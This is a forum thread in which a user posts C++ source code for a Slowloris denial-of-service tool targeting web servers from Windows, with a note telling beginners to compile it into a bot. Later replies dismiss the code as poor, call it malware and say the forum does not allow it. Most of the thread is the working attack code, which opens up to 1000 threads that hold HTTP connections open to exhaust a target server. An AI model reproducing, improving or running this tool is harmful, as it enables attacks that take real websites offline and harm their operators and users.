Support Forums

Full Version: Real Slowloris code
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Code:
Slowloris Source Real
//slowloris attack by akademika in c++ for windows BuNDy <3
///////////////////////////////////////////////////
#include <iostream>
#include <string>

#include <stdlib.h>
#include <winsock.h>//dont forget to add wsock32.lib to linker dependencies

#include "main.h"
#include "externs.h"

using namespace std;

#define BUFFERSIZE 1024
void die_with_error(char *errorMessage);
void die_with_wserror(char *errorMessage);

char request[1000];
char hold[20];
struct sockaddr_in serveraddr;
int waittime;
const int MAXTHREADS = 1000;
char host[512];

int main(int argc, char *argv[])
{
if (argc < 4){
printf("Arguments: domain port waittime\n");
printf("Example: http://www.google.de 80 1000 (1000ms is pretty good)\n");
return 1;
}

HANDLE hThreaded[MAXTHREADS];

WSADATA wsaData;
sprintf(host,"%s",argv[1]);
int port = atoi(argv[2]);
waittime = atoi(argv[3]);

sprintf(request,"GET / HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090428 Firefox/3.6a1pre\r\nContent-Length: 42\r\n", host);
sprintf(hold,"X-a: b\r\n");
printf("Attacking\n");

//init winsock
if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
printf("Could not start WSA");

memset(&serveraddr, 0, sizeof(serveraddr));
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = *(LPDWORD)gethostbyname((char *)host)->h_addr_list[0];
serveraddr.sin_port = htons((unsigned short) port);

for (int index=0; index < MAXTHREADS; index++)
hThreaded[index] = CreateThread( 0, 0, (LPTHREAD_START_ROUTINE)&Thread, 0, 0, 0 );

getchar();
//for(int b = 0; b < 200; b++)
//    closesocket(cookie[b]);

//cleanup
WSACleanup();
return 0;
}


DWORD WINAPI Thread( LPVOID param )
{
SOCKET cookie = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (cookie != INVALID_SOCKET){
//printf("Opened Socket with ID: %d \n",cookie[c]);
//connect
if (connect(cookie, (struct sockaddr *) &serveraddr, sizeof(serveraddr)) == 0){
printf("Connected using Socket ID: %d \n", cookie);
//send request
if (send(cookie, request, int(strlen(request)), 0) == int(strlen(request))){
//printf("Requested using Socket ID: %d \n",cookie[c]);
for(; {
if (send(cookie, hold, int(strlen(hold)), 0) == SOCKET_ERROR)
return 1;
printf("Send Hold \n");
Sleep(waittime);
}
}
else
printf("Error Sending \n");
}
else    
printf("Error Connecting %d \n",GetLastError());
}
else
printf("Error Opening Socket \n");
}

For the noobs Copy and past into a bot you want to have this cmd and include in complie!!/Rebuildall! and you have a decent slowloris command
Kinda sucky code but I guess it's ok. Also this isn't really the place to post it.
(06-11-2011, 03:35 PM)0xE9 Wrote: [ -> ]Kinda sucky code but I guess it's ok. Also this isn't really the place to post it.

well its c++ i dont see another c++ section?
(06-11-2011, 04:49 PM)Ted Bundy Wrote: [ -> ]well its c++ i dont see another c++ section?
It looks like C using C++ headers to me. But anyway it's classed as malware which isn't allowed on this forum.
This is not allowed here.